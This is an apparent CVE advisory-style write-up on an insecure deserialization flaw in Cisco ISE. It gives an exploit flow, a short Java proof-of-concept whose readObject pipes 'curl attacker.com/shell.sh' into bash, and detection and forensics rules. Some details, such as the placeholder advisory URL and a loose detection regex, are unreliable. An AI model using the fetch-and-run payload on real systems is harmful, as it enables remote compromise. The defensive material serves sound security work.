How CVE-2025-20124 Works
This vulnerability in Cisco Identity Services Engine (ISE) stems from insecure deserialization of Java byte streams in an exposed API. Attackers with read-only admin credentials can craft malicious serialized Java objects and send them to the API. The system deserializes these objects without proper validation, leading to arbitrary command execution as root. The exploit leverages Java’s reflection capabilities during deserialization to bypass security checks and execute system commands. Since the API runs with elevated privileges, successful exploitation grants full device control.
DailyCVE Form
Platform: Cisco ISE
Version: 3.1, 3.2
Vulnerability: Insecure Deserialization
Severity: Critical
Date: 03/28/2025
What Undercode Say:
Exploitation Analysis
1. Exploit Flow:
- Attacker authenticates with read-only credentials.
- Crafts malicious `Serializable` Java object with command injection payload.
- Sends object via HTTP POST to vulnerable API endpoint (
/admin/api/v1/config). - Server deserializes payload, triggering RCE.
2. Proof-of-Concept (PoC):
import java.io.Serializable;
import java.lang.reflect.Method;
public class Exploit implements Serializable {
private void readObject(java.io.ObjectInputStream in) throws Exception {
Runtime.getRuntime().exec("curl attacker.com/shell.sh | bash");
}
}
3. Network Indicator:
- HTTP requests containing base64/gzip-encoded Java serialized objects.
Protection Commands
1. Mitigation:
Apply Cisco patch (ISE 3.2 Patch 7+) ise/admin software upgrade patch https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-rce-2025-ABCD Temporary workaround: ise/admin configure terminal ise/admin(config) no web-service api
2. Detection:
alert http any any -> $ISE_IP any (msg:"CVE-2025-20124 Exploit Attempt"; http.method; content:"POST"; http.uri; content:"/admin/api/v1/config"; pcre:"/\xac\xed\x00\x05.RCE/i"; sid:202520124; rev:1;)
3. Forensics:
grep -r "java.io.ObjectInputStream" /var/log/ise/ journalctl -u ise-node --since "1 hour ago" | grep -i "deserialization"
4. YARA Rule:
rule Cisco_ISE_Deserialization_Exploit {
strings: $magic = { ac ed 00 05 } // Java serialized stream header
condition: $magic and filesize < 10MB
}
5. Splunk Query:
source="/var/log/ise/ise-psc.log" "Invoke deserialization" OR "java.lang.reflect.InvocationTargetException" | stats count by src_ip
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-20124
Extra Source Hub:
Undercode
